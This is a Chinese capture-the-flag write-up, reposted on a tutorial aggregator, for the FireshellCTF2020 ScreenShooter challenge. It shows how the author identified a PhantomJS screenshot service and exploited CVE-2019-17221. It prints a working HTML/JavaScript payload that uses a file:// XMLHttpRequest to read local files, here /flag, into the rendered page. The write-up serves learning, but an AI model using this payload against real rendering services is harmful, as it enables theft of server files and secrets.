首页 / 更多教程 / 刷题[FireshellCTF2020]ScreenShooter

刷题[FireshellCTF2020]ScreenShooter

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了刷题[FireshellCTF2020]ScreenShooter，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含959字，纯文字阅读大概需要2分钟。

内容图文

(这几天拔牙了，有丝丝影响状态，更新可能有点慢)
今天看security search发现了之前碰上的一道题，具体在哪碰到的，不记得了。记录一下把

信息收集

刷题[FireshellCTF2020]ScreenShooter - 文章图片

如图所示，打开是一个screenshot，填入url，会对网页进行截图

所以我们需要检测该网页发送的http流量

流量检测

使用在线网站https://beeceptor.com/
刷题[FireshellCTF2020]ScreenShooter - 文章图片

该网站可以检查http请求，我们创建一个端点后，在网页内请求该端点，此网站捕获http流量如下图

刷题[FireshellCTF2020]ScreenShooter - 文章图片

在标题中我们可以清楚看到使用PhantomJS

Phantom JS是一个服务器端的 JavaScript API 的 WebKit。其支持各种Web标准： DOM 处理, CSS 选择器, JSON, Canvas, 和 SVG

说白了就是一个爬虫，用来爬取网页

PhantomJS

搜索PhantomJS发现存在任意文件上传漏洞CVE-2019-17221
刷题[FireshellCTF2020]ScreenShooter - 文章图片

该漏洞通过file://URL的XMLHttpRequest触发

刷题[FireshellCTF2020]ScreenShooter - 文章图片

编写exp

编写html文件

<!DOCTYPE html>
<html>
<head>
	<title></title>
</head>
<body>
	<script type="text/javascript">
		var karsa;
		karsa = new XMLHttpRequest;
		karsa.onload = function(){
			document.write(this.responseText)
		};
		karsa.open("GET","file:///flag");
		karsa.send();
	</script>
</body>
</html>

放在自己vps上，请求，获得flag

刷题[FireshellCTF2020]ScreenShooter - 文章图片

内容总结

以上是互联网集市为您收集整理的刷题[FireshellCTF2020]ScreenShooter全部内容，希望文章能够帮你解决刷题[FireshellCTF2020]ScreenShooter所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/929431.html

来源：【匿名】